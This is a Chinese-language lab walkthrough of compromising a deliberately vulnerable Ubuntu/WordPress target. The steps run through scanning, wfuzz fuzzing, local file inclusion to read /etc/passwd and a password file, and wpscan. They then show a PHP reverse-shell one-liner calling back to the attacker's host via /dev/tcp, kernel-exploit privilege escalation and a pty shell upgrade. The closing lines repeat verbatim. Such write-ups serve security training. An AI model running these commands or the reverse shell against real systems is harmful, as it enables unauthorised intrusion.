主机发现

nmap扫描与分析
端口22、80

详细扫描;linux、ubuntu、

udp扫描
端口都是关闭的

脚本扫描

web渗透
打开只有一张图片;源码有图片和一个alt:hnp security不知道有啥用,先记录下来吧

继续web渗透思路走吧,目录爆破
关于工具有很多,差别不大,主要是会工具的指定参数
man dirb看一下工具使用参数

dirb也会对二级目录进行扫描
dev不算一个常规目录;index.php、wordpress

说我们正在0级别,在真实渗透测试中,我们应该用我们的工具深度挖掘web,祝我们快了;意义不大

那是不是dirb一级目录扫描意义,我们进入深度扫描,-X指定参数,一般有.zip、.txt;php感觉暂时不用添加吧,因为他这个是worepress网站
secret.txt

curl看一下吧
fuzz模糊测试意思,每一个php页面,得到正确参数,如果仍然被卡住,OSCP
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web

github网站貌似就是一个模糊测试
给的有
COMMNAD = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something
COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something
COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 617 -u website.com -H "HOST: FUZZ.website.com"
COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 7873 -u hnpsec.com -H "HOST: FUZZ.hnpsec.com"

那我们再指定.php扫

两个php网站打开都是开头的图片,按照提示意思应该是wfuzz对php进行模糊测试
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.218.159/image.php?FUZZ=something
- -c 高亮显示颜色
- -w指定字典
- something无所谓,用啥都行
晒选隐藏的404;在正常思路中wfuzz都先不加指定404的,我们先去掉测试一下
多次出现的147 12w应该都是没有意义的

我们可以把它隐藏掉,
wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://192.168.218.159/image.php?FUZZ=something

没东西,那换另一个文件去扫描
嗯,这有file文件

去看一下,说做得不错,正在挖掘错误的文件
打个靶机还被入坑嘲讽了,那思路就是错了,
再看一下目前有的信息再利用吧


直接网站访问location是不行的,file会不会文件包含漏洞啥的,往后指定下=location.txt
错误连接,我又扫了一下80关闭了,是靶机自带的坑?还是我的靶机不太稳定,又重启了一遍
提示说secrettier360参数在其他php页面

问题是secrettier360后跟啥东西,尝试无后缀,location.txt等等;还是不行,换个php文件
文件包含漏洞
这个就可以了、说得到了正确参数,暂时迷住了,没啥思路

找到了正确的位置,也没啥其他提示了,这个文件利用也挺多的,尝试文件包含漏洞,嗯,一把成
收集下bash环境的用户
victor、root

又没啥东西了,观察了半天/etc/passwd下还有提示,
find password.txt file in my directory:/home/saket:
在我的目录中找到password.txt文件:/home/saket:

再用漏洞访问一下,嗯可以,说又是正确参数,follow_the_ippsec

尝试作为ssh密码,尝试后都错误了,忘记wordpress了
针对cms的扫描;大部分用的是wpscan
wpscan --url 192.168.218.159/wordpress -e u
-u是刚才有了follow_the_ippsec我们现在看他有哪些用户;很熟悉,

获得wordpress后台权限
登录victor,成功

因为wordpress做的很多,通常都是插件或者主题里进行文件上传
获取初始系统shell
他说我们需要使这个文件可写;那我们就去寻找嘛

找到这我们思路就是写php反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.218.145/445 0>&1'");?>

之后就是执行这个页面,找一下这个路径
/wordpress/wp-content/themes/twentynineteen/secret.php
同时看kali也反应了

照常sudo -l

看一下各类信息啥的


可以看passwd不能看shadow;简单尝试的已经尝试了
系统内核漏洞提权
uname -a
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
searchsploit搜一下内核能不能利用
第一个不是提权;简单试一下第二个;先把文件下载到本地


我们要养成一个逻辑,拿到一个文件我们要简单读一读,知道是啥样的
编译这点要说一下,如果kali版本过高gcc编译是不一样的,可能无法利用,尽量在靶机里编译
建立php服务器传输;利用文件一般在tmp进行传输利用
或者python都可以;这里我用的python
python -m http.server 888
将已经编译好的和未编译的都传过来

加上x执行权限;执行;意料之中,不行,我的本地kali版本太高了

使用靶机的gcc尝试一下;这样应该是成了,

使用python交互式解决下交互式的问题
python -c 'import pty;pty.spawn("/bin/bash")'
这个靶机目前就已经拉满了
加上x执行权限;执行;意料之中,不行,我的本地kali版本太高了
使用靶机的gcc尝试一下;这样应该是成了,
使用python交互式解决下交互式的问题
python -c 'import pty;pty.spawn("/bin/bash")'
这个靶机目前就已经拉满了
